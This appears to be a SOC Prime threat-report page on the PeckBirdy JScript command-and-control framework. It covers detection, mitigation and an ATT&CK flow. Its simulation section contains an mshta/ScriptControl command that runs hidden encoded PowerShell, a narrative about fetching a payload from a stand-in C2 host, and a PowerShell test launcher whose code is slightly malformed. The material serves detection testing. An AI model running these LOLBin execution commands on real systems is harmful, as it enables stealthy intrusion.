SOC Prime Bias: Critical

26 Jan 2026 22:08
newspaper icon Trend Micro

PeckBirdy: A Versatile Script Framework for LOLBins Exploitation Used by China-aligned Threat Groups

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
PeckBirdy: A Versatile Script Framework for LOLBins Exploitation Used by China-aligned Threat Groups
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query


Summary

PeckBirdy is a JScript-based command-and-control framework leveraged by China-aligned APT actors to abuse living-off-the-land binaries and deploy modular backdoors, including HOLODONUT and MKDOOR. It is designed to execute across multiple runtimes—web browsers, MSHTA, WScript, NodeJS, and .NET—and it supports several transport options such as WebSocket, Flash, Comet, and HTTP. The framework has been observed in campaigns tracked as SHADOW-VOID-044 and SHADOW-EARTH-045, which targeted online gambling resources, Asian government web portals, and an education-sector organization.

Investigation

Researchers reported malicious script injections on compromised gambling sites and government pages that pulled down the PeckBirdy loader, which then retrieved follow-on payloads—most notably a Chrome exploit (CVE-2020-16040) and additional backdoor components. The activity was tied to two modular implants, HOLODONUT and MKDOOR, and connected to previously observed groups and infrastructure patterns. The analysis also cataloged indicators of compromise, including IP addresses, domains, and operational details such as the use of stolen code-signing certificates.

Mitigation

Block identified malicious domains and IP addresses, and monitor for atypical LOLBin usage and script execution via MSHTA, WScript, and NodeJS. Detect creation of the unique_id file in %TEMP% and enforce strict code-signing certificate validation. Coverage for known Cobalt Strike payloads and Donut-generated .NET assemblies can further reduce exposure.

Response

If detected, isolate affected systems, collect the injected script and any produced backdoor binaries, and block the associated C2 infrastructure. Perform forensic triage for lateral movement and update detection logic for the observed command-line artifacts and network traffic patterns.

"graph TB %% Class Definitions classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef tool fill:#99ccff classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Technique Nodes content_injection["<b>Technique</b> – <b>T1659 Content Injection</b><br/><b>Description</b>: Inject malicious scripts into compromised web pages to deliver additional payloads."] class content_injection technique execution_mshta["<b>Technique</b> – <b>T1218.005 Signed Binary Proxy Execution: Mshta</b><br/><b>Description</b>: Use mshta.exe to execute malicious HTML application files."] class execution_mshta technique execution_compiled_html["<b>Technique</b> – <b>T1218.001 Signed Binary Proxy Execution: Compiled HTML File</b><br/><b>Description</b>: Use compiled HTML files to run malicious JScript payloads."] class execution_compiled_html technique victim_id_gen["<b>Process</b> – Victim Identifier Generation<br/>Generate a unique victim ID and stage the malicious script."] class victim_id_gen process credential_steal_cookie["<b>Technique</b> – <b>T1539 Steal Web Session Cookie</b><br/><b>Description</b>: Extract authentication cookies from the victimu2019s browser session."] class credential_steal_cookie technique alt_auth_material_cookie["<b>Technique</b> – <b>T1550.004 Use Alternate Authentication Material: Web Session Cookie</b><br/><b>Description</b>: Reu2011use stolen session cookies to authenticate as the victim."] class alt_auth_material_cookie technique defense_evasion_code_signing["<b>Technique</b> – <b>T1553.002 Subvert Trust Controls: Code Signing</b><br/><b>Description</b>: Use forged or misu2011signed code to bypass trust checks."] class defense_evasion_code_signing technique masquerading_invalid_sig["<b>Technique</b> – <b>T1036.001 Masquerading: Invalid Code Signature</b><br/><b>Description</b>: Present binaries with invalid signatures to evade detection."] class masquerading_invalid_sig technique reflective_code_loading["<b>Technique</b> – <b>T1620 Reflective Code Loading</b><br/><b>Description</b>: Load code into memory directly without invoking the operating system loader."] class reflective_code_loading technique process_injection["<b>Technique</b> – <b>T1055 Process Injection</b><br/><b>Description</b>: Inject malicious code into a running process to hide execution."] class process_injection technique impair_defenses["<b>Technique</b> – <b>T1562 Impair Defenses</b><br/><b>Description</b>: Disable or tamper with security tools and settings."] class impair_defenses technique execution_guardrails["<b>Technique</b> – <b>T1480 Execution Guardrails</b><br/><b>Description</b>: Implement checks to only run on specific targets or environments."] class execution_guardrails technique obfuscated_embedded_payload["<b>Technique</b> – <b>T1027.009 Obfuscated Files or Information: Embedded Payloads</b><br/><b>Description</b>: Hide malicious payloads within legitimate files or data streams."] class obfuscated_embedded_payload technique command_and_control_web["<b>Technique</b> – <b>T1102 Web Service</b><br/><b>Description</b>: Use standard web services for command and control communication."] class command_and_control_web technique encrypted_channel["<b>Technique</b> – <b>T1573 Encrypted Channel</b><br/><b>Description</b>: Encrypt C2 traffic to evade network inspection."] class encrypted_channel technique app_layer_web_protocols["<b>Technique</b> – <b>T1071.001 Application Layer Protocol: Web Protocols</b><br/><b>Description</b>: Communicate over common web protocols such as HTTP/HTTPS."] class app_layer_web_protocols technique data_encoding["<b>Technique</b> – <b>T1132 Data Encoding</b><br/><b>Description</b>: Encode data to avoid detection during transmission."] class data_encoding technique lateral_movement_exploit["<b>Technique</b> – <b>T1210 Exploitation of Remote Services</b><br/><b>Description</b>: Exploit vulnerable remote services to move laterally."] class lateral_movement_exploit technique remote_vulnerability["<b>Process</b> – Exploitation of CVEu20112020u201116040 Chrome vulnerability"] class remote_vulnerability process rat_holodonut["<b>Malware</b> – HOLODONUT<br/>Custom backdoor used for remote access"] class rat_holodonut malware rat_mkdoor["<b>Malware</b> – MKDOOR<br/>Secondary backdoor providing persistence"] class rat_mkdoor malware %% Operator Nodes op_and_exec(("AND")) class op_and_exec operator %% Connections content_injection –>|delivers| execution_mshta content_injection –>|delivers| execution_compiled_html execution_mshta –>|launches| victim_id_gen execution_compiled_html –>|launches| victim_id_gen victim_id_gen –>|stages script for| credential_steal_cookie credential_steal_cookie –>|leads to| alt_auth_material_cookie credential_steal_cookie –>|enables| defense_evasion_code_signing defense_evasion_code_signing –>|includes| masquerading_invalid_sig defense_evasion_code_signing –>|includes| reflective_code_loading defense_evasion_code_signing –>|includes| process_injection defense_evasion_code_signing –>|includes| impair_defenses defense_evasion_code_signing –>|includes| execution_guardrails defense_evasion_code_signing –>|includes| obfuscated_embedded_payload defense_evasion_code_signing –>|enables| command_and_control_web command_and_control_web –>|uses| encrypted_channel encrypted_channel –>|uses| app_layer_web_protocols app_layer_web_protocols –>|uses| data_encoding command_and_control_web –>|supports| lateral_movement_exploit lateral_movement_exploit –>|via| remote_vulnerability lateral_movement_exploit –>|deploys| rat_holodonut lateral_movement_exploit –>|deploys| rat_mkdoor "

Attack Flow

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The adversary wishes to establish a remote‑control channel using the PeckBirdy script framework. They choose mshta.exe because it is a signed Windows binary that bypasses most application whitelists. The payload embeds an ActiveX ScriptControl object to execute JScript code fetched from a C2 server. The steps are:

    1. Download the malicious JScript payload from the C2 (e.g., http://malicious.c2/payload.js).
    2. Launch mshta.exe with an inline javascript: URI that creates a ScriptControl instance, loads the downloaded script, and executes it.
    3. The JScript code establishes a reverse TCP listener, completing the foothold.

    The exact command line that produces the telemetry is:

    mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"

    This command contains both mshta.exe and the string ScriptControl, satisfying the Sigma condition.

  • Regression Test Script:
    The script below automates the malicious mshta invocation. It can be executed on a test workstation under an administrative account.

    #-------------------------------------------------
# PeckBirdy Execution via mshta + ScriptControl
#-------------------------------------------------
$c2Url   = "http://malicious.c2/payload.js"
$jsCode  = @"
var sc = new ActiveXObject('ScriptControl');
sc.Language = 'JScript';
// Simple beacon – replace with real payload
sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:\temp\pwned.txt");');
"@

# Encode the JScript payload to avoid line‑break issues
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode))

$mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)"

Write-Host "[*] Launching malicious mshta..."
Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow

  • Cleanup Commands:
    Remove any artifacts created by the test (e.g., the temporary file).

    #-------------------------------------------------
# Cleanup after PeckBirdy simulation
#-------------------------------------------------
Write-Host "[*] Cleaning up test artifacts..."
Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue
# Stop any lingering mshta processes started by the test
Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force

Join SOC Prime's Detection as Code platform to improve visibility into threats most relevant to your business. To help you get started and drive immediate value, book a meeting now with SOC Prime experts.

Join for Free